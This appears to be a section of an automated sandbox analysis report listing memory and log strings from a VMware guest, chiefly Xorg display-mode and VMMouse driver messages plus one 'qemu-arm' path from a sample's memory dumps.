Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "800x600"x85.1 56.30 800 832 896 1048 600 601 604 631 +hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.302] (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:07 galassia /usr/lib/gdm3/gdm-x-session[1890]: (II) event2 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.456] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1024x768"x70.1 75.00 1024 1048 1184 1328 768 771 777 806 -hsync -vsync (56.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.164] (**) VirtualPS/2 VMware VMMouse: (accel) acceleration threshold: 4
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.296] (II) event3 - VirtualPS/2 VMware VMMouse: is tagged by udev as: Mouse
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:58 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): vram: 4194304
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.007] (II) XINPUT: Adding extended input device "VirtualPS/2 VMware VMMouse" (type: MOUSE, id 8)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.111] (II) vmware(0): Not using default mode "416x312" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "640x480" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.915] (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.014] (**) vmware(0): *Driver mode "vmwlegacy-default-800x600": 36.3 MHz, 36.2 kHz, 60.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.137] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.892] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.985] (II) event3 - VirtualPS/2 VMware VMMouse: device removed
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.886] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x60.0 81.62 1152 1216 1336 1520 864 865 868 895 -hsync +vsync (53.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.474] (II) vmware(0): Not using default mode "640x400" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.418] (II) vmware(0): Not using default mode "2048x1536" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.081] (II) event2 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.978] (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:56 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) LoadModule: "vmware"
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.140] (==) vmware(0): Will set up a driver mode with dimensions 800x600.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.977] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x350": 31.5 MHz, 37.9 kHz, 85.1 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "800x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 534.495] (WW) vmware(0): Disabling 3D support.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.104] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.225] (II) vmware(0): Not using default mode "700x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.609] (II) vmware(0): Not using default mode "1368x768" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.061] (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "15360x8640" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.171] (II) vmware(0): Not using default mode "680x384" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.009] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.623] (II) vmware(0): Not using default mode "1600x900" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.528] (II) vmware(0): Not using default mode "480x270" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.472] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.545] (II) vmware(0): Not using default mode "1024x576" (monitor doesn't support reduced blanking)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x480"x75.0 31.50 640 656 720 840 480 481 484 500 -hsync -vsync (37.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1024x768"x85.0 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (68.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.129] (II) vmware(0): Not using default mode "576x432" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event2)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.944] (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1360x768" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.783] (--) vmware(0): mwidt: 1176
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): w.red: 8
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.895] (II) vmware(0): Not using default mode "3840x2160" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.715] (II) vmware(0): Not using default mode "960x540" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "960x540" (monitor doesn't support reduced blanking)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 121.5 MHz, 77.5 kHz, 85.1 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.556] (II) vmware(0): Not using default mode "512x288" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.160] (II) vmware(0): Modeline "832x624"x74.6 57.28 832 864 928 1152 624 625 628 667 -hsync -vsync (49.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.003] (II) vmware(0): Not using default mode "1280x800" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.305] (II) vmware(0): Modeline "640x480"x59.9 25.18 640 656 752 800 480 490 492 525 -hsync -vsync (31.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.055] (II) vmware(0): Modeline "1152x864"x85.0 119.65 1152 1224 1352 1552 864 865 868 907 -hsync +vsync (77.1 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Will set up a driver mode with dimensions 800x600.
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) event3 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "3200x1800" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.248] (II) vmware(0): Not using default mode "360x200" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event3)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2560x1600" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1152x864"x75.0 104.99 1152 1224 1352 1552 864 865 868 902 -hsync +vsync (67.6 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.379] (II) vmware(0): Modeline "640x350"x85.1 31.50 640 672 736 832 350 382 385 445 +hsync -vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "680x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:58 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): depth: 24
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): VMware SVGA regs at (0x1070, 0x1071)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.930] (II) vmware(0): Not using default mode "800x600" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 535.899] (--) vmware(0): w.red: 8
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) selected scheme none/0
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.697] (II) vmware(0): Not using default mode "1280x1024" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.490] (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.387] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.092] (**) vmware(0): Default mode "1152x864": 81.6 MHz, 53.7 kHz, 60.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse0)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "864x486" (monitor doesn't support reduced blanking)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1024x768": 65.0 MHz, 48.4 kHz, 60.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:03 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): Backing store enabled
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:56 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) Module vmware: vendor="X.Org Foundation"
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "800x600"x60.3 40.00 800 840 968 1056 600 601 605 628 +hsync +vsync (37.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:03 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Initialized VMware Xv extension successfully.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.095] (==) vmware(0): Default visual is TrueColor
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.177] (**) vmware(0): Default mode "800x600": 56.3 MHz, 53.7 kHz, 85.1 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.878] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/event3)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1856x1392" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.534] (II) vmware(0): Not using default mode "1280x960" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.774] (II) vmware(0): Not using default mode "1280x720" (width requires unsupported line pitch)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.878] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): mwidt: 1176
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "640x360" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.090] (II) vmware(0): Not using default mode "960x720" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x480": 25.2 MHz, 31.5 kHz, 59.9 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.468] (II) vmware(0): Not using default mode "720x405" (monitor doesn't support reduced blanking)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.288] (II) vmware(0): Not using default mode "840x525" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.894] (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.283] (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.9 kHz, 72.8 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 538.662] (II) vmware(0): Not using default mode "700x450" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) event2 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:09 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2880x1620" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.106] (II) vmware(0): Modeline "1024x768"x85.0 94.50 1024 1072 1168 1376 768 769 772 808 +hsync +vsync (68.7 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.256] (II) vmware(0): Modeline "640x480"x85.0 36.00 640 696 752 832 480 481 484 509 -hsync -vsync (43.3 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.413] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse1)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "640x480": 31.5 MHz, 37.5 kHz, 75.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.089] (II) event2 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "800x600": 50.0 MHz, 48.1 kHz, 72.2 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:58 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): pbase: 0xe8000000
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.074] (II) vmware(0): Not using default mode "928x696" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "320x180" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.297] (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.244] (II) vmware(0): Not using default mode "720x450" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.885] (**) VirtualPS/2 VMware VMMouse: Applying InputClass "libinput pointer catchall"
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.141] (**) vmware(0): Default mode "1024x576": 46.5 MHz, 35.9 kHz, 59.9 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "1024x576"x59.9 46.50 1024 1064 1160 1296 576 579 584 599 -hsync +vsync (35.9 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:46 galassia kernel: [ 523.047902] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 12/12/2018
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:57 galassia /usr/lib/gdm3/gdm-x-session[5471]: (WW) vmware(0): Disabling RandR12+ support.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.171] (II) vmware(0): Modeline "960x540"x59.6 40.75 960 992 1088 1216 540 543 548 562 -hsync +vsync (33.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.935] (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "320x240" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.402] (II) vmware(0): Not using default mode "512x384i" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.322] (**) vmware(0): Default mode "720x400": 35.5 MHz, 37.9 kHz, 85.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.017] (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.165] (**) vmware(0): Default mode "960x540": 40.8 MHz, 33.5 kHz, 59.6 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 547.212] (II) config/udev: Adding input device VirtualPS/2 VMware VMMouse (/dev/input/mouse0)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 119.7 MHz, 77.1 kHz, 85.0 Hz
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): mheig: 885
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) VirtualPS/2 VMware VMMouse: (accel) acceleration factor: 2.000
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.369] (II) vmware(0): Not using default mode "1920x1200" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.491] (II) vmware(0): Not using default mode "360x202" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.036] (**) vmware(0): Default mode "1152x864": 121.5 MHz, 77.5 kHz, 85.1 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.069] (==) vmware(0): RGB weight 888
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x360"x59.8 18.00 640 664 720 800 360 363 368 376 -hsync +vsync (22.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.968] (II) vmware(0): Not using default mode "5120x2880" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.803] (II) vmware(0): Not using default mode "1440x810" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 545.924] (**) VirtualPS/2 VMware VMMouse: always reports core events
Source: Xorg.0.log.123.dr	Binary or memory string: [ 546.329] (II) event3 - VirtualPS/2 VMware VMMouse: device is a pointer
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.041] (II) vmware(0): Modeline "1152x864"x85.1 121.50 1152 1216 1344 1568 864 865 868 911 +hsync -vsync (77.5 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 533.849] (II) vmware: driver for VMware SVGA: vmware0405, vmware0710
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:01 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "2048x1152" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.157] (II) vmware(0): Not using default mode "680x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "1152x864": 96.8 MHz, 63.0 kHz, 70.0 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.924] (II) vmware(0): Not using default mode "4096x2304" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.217] (II) vmware(0): Not using default mode "320x200" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1024x768i" (bad mode clock/interlace/doublescan)
Source: qFl1WpWBiv, 5211.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5213.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5215.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5224.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5226.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5227.1.00000000e009cd26.00000000739764a9.rw-.sdmp, qFl1WpWBiv, 5381.1.00000000e009cd26.00000000739764a9.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.225] (II) vmware(0): Modeline "800x600"x56.2 36.00 800 824 896 1024 600 601 603 625 +hsync +vsync (35.2 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): bpp: 32
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.355] (II) vmware(0): Modeline "640x360"x59.8 18.00 640 664 720 800 360 363 368 376 -hsync +vsync (22.5 kHz d)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (==) vmware(0): RGB weight 888
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.048] (II) vmware(0): Not using default mode "896x672" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:00 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "1680x1050" (insufficient memory for mode)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:56 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) Loading /usr/lib/xorg/modules/drivers/vmware_drv.so
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:07 galassia /usr/lib/gdm3/gdm-x-session[1890]: (II) event3 - VirtualPS/2 VMware VMMouse: device removed
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (**) vmware(0): Default mode "720x405": 22.5 MHz, 25.1 kHz, 59.5 Hz
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.312] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:51 galassia kernel: [ 528.200235] Hardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop Reference Platform, BIOS 6.00 12/12/2018
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "864x486"x59.9 32.50 864 888 968 1072 486 489 494 506 -hsync +vsync (30.3 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.672] (II) vmware(0): Not using default mode "640x512" (bad mode clock/interlace/doublescan)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.446] (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (--) vmware(0): vis: 4
Source: Xorg.0.log.123.dr	Binary or memory string: [ 537.782] (II) vmware(0): Not using default mode "2560x1440" (insufficient memory for mode)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 534.527] (WW) vmware(0): Disabling Render Acceleration.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 534.473] (EE) vmware(0): Failed to open drm.
Source: Xorg.0.log.123.dr	Binary or memory string: [ 539.942] (II) vmware(0): Initialized VMware Xv extension successfully.
Source: syslog.45.dr	Binary or memory string: Jan 12 15:20:59 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Not using default mode "512x384" (bad mode clock/interlace/doublescan)
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:10 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) Using input driver 'libinput' for 'VirtualPS/2 VMware VMMouse'
Source: syslog.45.dr	Binary or memory string: Jan 12 15:21:02 galassia /usr/lib/gdm3/gdm-x-session[5471]: (II) vmware(0): Modeline "640x400"x85.1 31.50 640 672 736 832 400 401 404 445 -hsync +vsync (37.9 kHz d)
Source: Xorg.0.log.123.dr	Binary or memory string: [ 536.319] (II) vmware(0): Not using default mode "400x300" (bad mode clock/interlace/doublescan)
